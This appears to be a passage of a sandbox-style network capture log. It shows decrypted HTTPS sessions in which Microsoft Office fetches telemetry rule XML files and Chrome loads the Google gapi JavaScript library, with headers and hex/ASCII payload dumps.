2024-11-17 23:27:38 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=235067 Date: Sun, 17 Nov 2024 23:27:37 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:37 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:37 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232737Z-16547b76f7f2b5qzhC1DFWeag4000000039g0000000000kr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:37 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49841	172.217.23.110	443	7220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:38 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 23:27:38 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 16 Nov 2024 17:27:26 GMT Expires: Sun, 16 Nov 2025 17:27:26 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 108012 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-17 23:27:38 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-17 23:27:38 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-17 23:27:38 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-17 23:27:38 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-17 23:27:38 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-17 23:27:38 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-17 23:27:38 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-17 23:27:38 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-17 23:27:38 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:38 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 7df85bc9-601e-000d-7a26-372618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232738Z-164f84587bfs5tz9hC1DFW9a3w000000051g00000000c1x2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:38 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:38 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: ef7071d9-001e-0049-3975-355bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232738Z-1866b5c5fbb2cz68hC1DFW9ytc000000041g000000008abs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:38 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:38 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:38 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 56128767-e01e-0071-6e9b-3808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232738Z-16547b76f7f6nr89hC1DFWz7ug000000019g00000000cdfb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:38 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:38 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232738Z-16547b76f7fhv4d5hC1DFW7h0n00000003bg000000009g6z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:38 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:38 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
